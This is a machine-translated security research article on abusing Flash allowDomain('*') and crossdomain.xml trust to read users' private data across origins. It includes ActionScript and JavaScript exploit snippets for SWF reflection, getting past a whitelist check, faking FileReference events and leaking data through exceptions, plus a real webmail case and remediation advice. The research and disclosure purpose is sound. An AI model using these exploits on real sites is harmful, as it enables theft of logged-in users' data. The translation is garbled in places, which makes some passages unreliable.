Privacy leak killer: Flash permission reflection
0x00 Preface
I have always thought that this risk has been taken seriously, but recently I accidentally discovered that many websites still have this defect. Some of them are commonly used email addresses and social network websites, so it is necessary to discuss it again.
In fact, this is not a loophole. It is a normal function inherent in Flash. However, some Web developers do not have in-depth understanding of this feature and ignore it, thus laying a hidden security risk.
0x01 Principle
All of this has to begin with the classic authorization operation:
Security. allowDomain ('*')
This line of code may not be unfamiliar. Although I know that using * is risky, I think there is no high-risk operation in my Flash. How can I take it?
Obviously, this is still in the XSS thinking. Flash and JS communications do have XSS vulnerabilities, but it is not easy to find a usable swf file: both to read environment parameters and to callback to JS, you must ensure automatic operation.
Therefore, some developers think that as long as they do not communicate with JS, they will be relieved. At the same time, for the convenience of graphs, swf is directly authorized *, saving a lot of trust lists.
In fact, the nesting of Flash by web pages is only one of them. More commonly, It is the nesting between swf. However, in any way, Security. allowDomain is used for authorization-this means that a * is not only allowed to be called by a third-party webpage, but also includes any other swf!
Nested by web pages, it may be difficult to find useful values. But it is nested by its own class, And the availability is greatly increased. Because they are all Flash files, they are located in the same runtime and are closely related to each other.
How can we make full use of this association?
0x02 Exploitation
Associated container
In Flash, stage is the foundation of the world. No matter how many swf files are loaded, there is always one stage. Any element (DisplayObject) must be added to the stage or its sub-container for display and interaction.
Therefore, elements created by different swf are displayed on the same stage. They can perceive the existence of each other, but are limited by the same-source policy and may not be able to operate on each other.
However, once a swf has an active permission, its elements are no longer protected and can be accessed by any swf!
It does not seem very serious. What is the access value of the interface elements I created? It only obtains coordinates, colors, and other information.
It may be meaningless to look at the attributes of an element. However, not all elements are purely presented-Sometimes they inherit the features of element classes for the purpose of extended functions and implement additional functions on them.
The most typical one is the main class of each swf: They all inherit from Sprite, even if the program does not use any interface-related.
With this extension element, we can access those additional features.
Let's start with our first case. The main class of a swf extends the network Loading Function Based on Sprite:
// vul.swfpublic class Vul extends Sprite { public var urlLoader:URLLoader = new URLLoader(); public function download(url:String) : void { urlLoader.load(new URLRequest(url)); ... } public function Vul() { Security.allowDomain('*'); ... } ...}
Through third-party swf, we load it in. Because Vul inherits Sprite, we can find the element gene from the container.
It is also the main class and will be added to the Loader container by default.
// exp.swfvar loader:Loader = new Loader();loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void { var main:* = DisplayObjectContainer(loader).getChildAt(0); trace(main); // [object Vul]});loader.load(new URLRequest('//swf-site/vul.swf'));
Because Loader is the default container of sub-swf, the first element is obviously the main class of sub-swf: Vul.
Because Vul defines a public method called download and authorizes all domain names, it can also be called in third-party exp.swf:
Main. download ('// swf-site/data ');
At the same time, urlLoader in Vul is also a publicly exposed member variable that can be accessed externally and added to it to receive events:
var ld:URLLoader = main.urlLoader;ld.addEventListener('complete', function(e:Event) : void { trace(ld.data);});
Although this download method was initiated by a third-party exp.swf, when the load method of URLLoader is executed, the context is located in vul.swf, so this request is still the source of swf-site.
Therefore, attackers can access data in swf-site from any location.
Worse, Flash cross-source requests can be authorized through crossdomain. xml. If a site allows swf-site, it becomes a victim.
If the user is logged on, the attacker will quietly access the page with personal information, and the user's private data may be leaked. Attackers can even simulate user requests and send malicious links to other friends, causing worms to spread.
Although it is strongly typed, it is only a constraint during development. It is still the same as JavaScript at runtime and can dynamically access attributes.
Class reflection
Through the Container bridge, we can access objects in the sub-swf. However, the prerequisites are still too good to be used in reality.
If the target object is not an element and is not associated with a public object, or even not instantiated at all, is it not accessible?
I have tried webgame development and packaged some later materials into an independent swf. I will load the materials back to extract them if necessary. The target swf is only a resource package, and there is no script in it. How does it extract parameters?
In fact, the entire process does not involve sub-swf. The so-called "extraction" is actually the reflection mechanism in Flash. Through reflection, we can obtain the expected class directly from the target swf by using the barrier.
Therefore, we only need to find a network interface class from the target swf and try to work for us.
Let's start our second case. This is an advertising activity swf on an e-commerce website CDN. After decompilation, it is found that a class contains simple network operations:
// vul.swfpublic class Tool { public function getUrlData(url:String, cb:Function) : void { var ld:URLLoader = new URLLoader(); ld.load(new URLRequest(url)); ld.addEventListener('complete', function(e:Event) : void { cb(ld.data); }); ... } ...
Under normal circumstances, a certain amount of interaction is required to create this class. However, Reflection allows us to avoid these conditions and extract and use them directly:
// exp.swfvar loader:Loader = new Loader();loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void { var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool'); var obj:* = new cls; obj.getUrlData('http://victim-site/user-info', function(d:*) : void { trace(d); });});loader.load(new URLRequest('//swf-site/vul.swf'));
Because victim-site/crossdomain. xml allows swf-site access, vul.swf serves as a proxy for privacy leaks.
Attackers have access to victim-site to read page data and access users' personal information from different sites.
Most Web developers are still limited to XSS for Flash security, thus ignoring such risks. Even today, there are still a large number of defect swf files that can be used on the network, and even some large websites have been involved.
Of course, not all swf resources are usable even with powerful weapons such as reflection. Obviously, it is only possible to meet the following requirements:
Execute Security. allowDomain (controllable site)
Controls the load method that triggers URLLoader/URLStream, And the url parameter can be customized.
The returned data can be obtained.
Article 1: Needless to say, the premise of reflection also requires authorization from the other party.
Article 2: Ideally, you can directly call the loading method provided in the reflection class. But in reality it may not all be public, and thus it cannot be called directly. You can only analyze the code logic to see if the open method can be used to construct conditions so that the process goes to the step where the request is sent. At the same time, url parameters must also be controllable, otherwise it will be meaningless.
Article 3: it also makes no sense if you can only send the request but cannot get the returned content.
Maybe you will say, why not directly reflect the URLLoader class in the target swf. However, in fact, the optical class is useless. Flash does not care about the swf from which the class comes. Instead, it depends on the swf currently in which the URLLoader: load is executed. If you call load in your swf, the request still belongs to its own source.
At the same time, the eval function is no longer available in as3. The only command that can change data is Loader: loadBytes, but this method also has a similar judgment.
Therefore, we still need to use the existing functions in the target swf.
0x03 case
Here is a real-world case, which has been reported and fixed previously.
This is a swf under 126.com, which is located at http://mail.126.com/js6/h/flashrequest.swf.
After decompiling, you can find that * authorization is enabled when the main class is initialized, so the class in the swf can be used at will!
At the same time, one of them is the FlashRequest class, which encapsulates common network operations and the key methods are public:
We reflected it and called it according to its specifications to initiate a cross-Source request!
Because 126.comis authorized for crossdomain. xml on many sites of Netease, You can secretly view the 163/126 emails of logged-on users:
You can even read the user's address book and spread malicious links to more users!
0x04 advanced
With crawlers and tools, we can find a lot of swf files that can be easily used. However, for the purpose of the study, we will continue to explore some cases that can be used only after careful analysis.
Advanced Node 1 -- bypass path Detection
Of course, not all developers use Security. allowDomain ('*') without thinking about it.
Some security-conscious users, that is, using it will also consider whether the current environment is normal. For example, the swf initialization process of a mailbox:
// vul-1.swfpublic function Main() { var host:String = ExternalInterface.call('function(){return window.location.host}'); if host not match white-list return Security.allowDomain('*'); ...
Before authorization, the system checks the nested page. If the page is not in the whitelist, it exits directly.
Because the white list matching logic is very simple and there is no flaw in it, you can only focus on ExternalInterface. Why use JS to obtain the path?
Because Flash only provides the path of the current swf and does not know who is nested, you can only use this curve to save the country.
But when I got on the JS thief ship, I naturally couldn't hide from bad luck. There are countless front-end black magics waiting for you to try. Flash needs to communicate with a variety of strange browsers. It obviously requires a messaging protocol and an intermediate bridge between the JS version to support Flash. You should be familiar with Flash XSS.
In this bridge, there is a function named _ flash _ toXML, which encapsulates the result of JS execution into a Message Protocol and returns it to Flash. If you can handle it, everything will be easy.
Obviously, this function does not exist by default. It is registered only after Flash is loaded. Since it is a global function, JS on the page can also be redefined:
// exp-1.jsfunction handler(str) { console.log(str); return 'hi,jack';}setInterval(function() { var rawFn = window.__flash__toXML; if (rawFn && rawFn != handler) { window.__flash__toXML = handler; }}, 1);
The timer is used for continuous monitoring and will be redefined once it appears. Therefore, no matter what code is executed, ExternalInterface. call can be used to return content at will!
To eliminate the latency error of the timer, we first push the ExternalInterface. call in our swf and let _ flash _ toXML be injected in advance. Later, the sub-swf version is overwritten.
Of course, even if no overwrite method is used, we can still control the returned results of _ flash _ toXML.
After careful analysis, this function calls _ flash _ escapeXML:
function __flash__toXML(value) { var type = typeof(value); if (type == "string") { return "" + __flash__escapeXML(value) + ""; ...} function __flash__escapeXML(s) { return s.replace(/&/g, "&").replace(/") ... ;}
There are a lot of entity escaping in it, but how can we use it?
Because it calls replace for replacement, but in the evil JS, common methods can be rewritten! We can make it return any desired value:
// exp-1.jsString.prototype.replace = function() { return 'www.test.com';};
You can even call _ flash _ escapeXML to return a specific value:
String.prototype.replace = function F() { if (F.caller == __flash__escapeXML) { return 'www.test.com'; } ...};
So the problem of ExternalInterface. call is solved in this way. If you manually return a domain name in the whitelist, you can bypass the detection during initialization to successfully execute Security. allowDomain (*).
Therefore, you must never trust the content returned by JS. Punctuation cannot be sent!
Advanced Level 2 -- construct request Conditions
In the following example, the profile picture of a social network is uploaded to Flash.
Unlike the previous ones, public network interfaces can be found smoothly. This case is very demanding. When searching for the entire project, there is only one URLLoader, and it is still in the private method.
// vul-2.swfpublic class Uploader { public function Uploader(file:FileReference) { ... file.addEventListener(Event.SELECT, handler); } private function handler(e:Event) : void { var file:FileReference = e.target as FileReference; // check filename and data file.name ... file.data ... // upload(...) } private function upload(...) : void { var ld:URLLoader = new URLLoader(); var req:URLRequest = new URLRequest(); req.method = 'POST'; req.data = ...; req.url = Param.service_url + '?xxx=' .... ld.load(req); }}
However, it is very difficult to trigger this method. Because this is an upload control, only when the user selects an image in the file dialog box and passes parameter verification can the final upload location be reached.
The only object that can be called by reflection is the Uploader class constructor. Control the input FileReference object to construct conditions.
// exp-2.swfvar file:FileReference = new FileReference(); var cls:* = ...getDefinition('Uploader');var obj:* = new cls(file);
However, FileReference is different from a general object and calls out the interface. If the file dialog box pops up in the middle and the user selects the file, it is absolutely unrealistic.
However, the bullet box and callback are only a causal relationship. A dialog box generates a callback, but a callback may not be generated only by a dialog box. Because FileReference inherits EventDispatcher, we can create an event manually:
File. dispatchEvent (new Event (Event. SELECT ));
In this way, the callback function after the file is selected is entered.
Because this step will verify attributes such as the file name and content, you have to assign values to these attributes in advance. Unfortunately, these attributes are read-only and cannot be set at all.
Why are there read-only attributes? Isn't an attribute a member variable? How can this problem be solved only by reading and not writing? Unless it is a const, but it is a constant, not a read-only attribute.
It turns out that the read-only feature only provides getter but does not have the setter attribute. In this way, the attributes can be changed internally but cannot be written externally.
If we can hook this getter, we can return any value. However, the classes in AS are closed by default. They are not AS flexible as js and can tamper with the prototype chain at will.
In fact, there is a more elegant hook method in advanced languages, which is called "Rewrite 』. We can create a class that inherits FileReference and rewrite those getters:
// exp-2.swfclass FileReferenceEx extends FileReference { override public function get name() : String { return 'hello.gif'; } override public function get data() : ByteArray { var bytes:ByteArray = new ByteArray(); ... return bytes; }}
According to the famous "Rishi replacement principle", any base class can appear, and any subclass can certainly appear. Therefore, it is acceptable to pass in this FileReferenceEx. Once you access attributes such as name, it will naturally fall into our getter.
// exp-2.swfvar file:FileReference = new FileReferenceEx(); // !!!...var obj:* = new cls(file);
At this point, we have successfully simulated the entire file selection process.
Next we will go to the key upload location. Fortunately, it does not write an upload address, but reads it from the environment variable (loaderInfo. parameters.
When it comes to environment variables, we first think of the flashvars attribute of the Flash element in the web page, but there are two other places to pass in:
Swf url query (for example,. swf? A = 1 & B = 2)
LoaderContext
Because the url query is fixed and cannot be modified later, select LoaderContext for transmission:
// exp-2.swfvar loader:Loader = new Loader();var ctx:LoaderContext = new LoaderContext();ctx.parameters = { 'service_url': 'http://victim-site/user-data#'};loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);
Because parameters in LoaderContext are shared during runtime, you can change the environment variables at any time:
// next requestctx.parameters.service_url = 'http://victim-site/user-data-2#';
At the same time, in order not to allow extra parameters to be sent, you can also put a # At the end of the URL, so that the remaining parts will become Hash, and no traffic will be taken.
Although this is a very demanding case, it is still possible to find a solution through careful analysis.
Of course, our goal is not to make the results, but to make the analysis fun :)
Advanced No. 3 -- capture returned data
Of course, it is not enough to send the request. If the returned result cannot be obtained, the request is still busy.
The ideal situation is to pass in the callback interface so that data can be directly obtained. But the reality may not be so beautiful, sometimes we have to find a way to retrieve data.
Some simple swf normally does not encapsulate a network request class, and native code is directly written every time you use it. In this way, the controllable factors are much less, and the Utilization difficulty will be greatly improved.
In such a scenario, although the request address can be controlled, the returned data cannot be obtained because URLLoader cannot be obtained:
public function download(url:String) : void { var ld:URLLoader = new URLLoader(); ld.load(new URLRequest(url)); ld.addEventListener('complete', function(e:Event) : void { // do nothing });}
But it usually does not do nothing, and will process the returned results as much as possible. Now we have to look for opportunities.
Once the data is assigned to a public member variable, we can get it through Round Robin:
public var data:*;...ld.addEventListener('complete', function(e:Event) : void { data = e.data;});
Or, store the data in an element for display:
private var textbox:TextField = new TextField();...addChild(textbox);...ld.addEventListener('complete', function(e:Event) : void { textbox.text = e.data;});
You can also use the method mentioned at the beginning of the article to find the corresponding elements from the parent container and regularly poll the content.
However, this is easy to solve. In some cases, the returned data does not conform to the expected format, so it cannot be processed and an error is reported directly.
The following is a very common case. In receiving events, decode the data in a fixed format:
// exp-3.swfimport com.adobe.serialization.json.JSON; ld.addEventListener('complete', function(e:Event) : void { var data:* = JSON.decode(e.data); ...});
Because developers have agreed to use JSON as the return format, there is no fault tolerance judgment at all, and data is directly decoded.
However, the files we want to read across sites may not all be in JSON format. HTML, XML, and even JSONP are all shot here.
Don't you give up? If you cannot go down, what else can you do. The only feasible solution is to take the "wrong" direction.
A powerful runtime system provides some interfaces for developers to capture global exceptions. HTML, Flash, and even more powerful-not only can get Error-related information, but also get the Error object throw!
Generally, common class libraries often have sound parameter tests. When an invalid parameter is encountered, the parameter and the error message are usually thrown as an exception. If an exception object exactly contains the sensitive data we want, it would be wonderful.
Take JSON decoding as an example. Let's write a Demo to verify it:
var s:String = '\n\n123\n\n';JSON.decode(s);
We tried to pass the HTML characters into the JSON decoder and finally got disconnected from the exception thrown by the class library:
The first two parameters in the exception do not seem to make much sense. But what exactly is hidden in the third parameter?
You don't need to guess. This is exactly what we want-to pass in the entire character parameter of the decoder!
In this way, we can get the complete returned data in the global exception Capture:
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void { trace(e.error.text);});
Stunned! As long as you carefully explore some seemingly impossible implementations, you can also find a solution.
0x05 remedy
If you fix the issue at the code level, it will be hard to complete in a short time.
Large websites have accumulated a considerable number of swf files for a long time. Sometimes, in order to solve version conflicts and even use random numbers such as time and digest in the file name, the source code of such swf may no longer be maintained.
Therefore, the website itself must be strengthened. The domain names that are no longer used in crossdomain. xml should be removed as soon as possible, and the subdomain scope should be minimized. After all, as long as there is a defective swf file, the security of the entire site will be reduced.
In fact, even if the target swf is reflected for Cross-Site requests, the referer is still the attacker's page. Therefore, it is necessary to verify the source for sensitive data reading operations.
As a user, it is necessary to disable third-party cookies. Currently, Safari is disabled by default, while Chrome still needs to be manually added.
0x06 Summary
In conclusion, the three types of permissions mentioned in this article are as follows:
Code level (public/private /...)
Module layer (Security. allowDomain)
Site layer (crossdomain. xml)
As long as these conditions are met, it is likely to be used for cross-source requests.
You may feel that there are too many pitfalls in Flash, which is hard to prevent. But in fact, these features already exist, but they are not valued by developers. So many websites are still widely used.
Of course, information leakage is a victim to every user. We hope that more developers can see and fix security risks in a timely manner.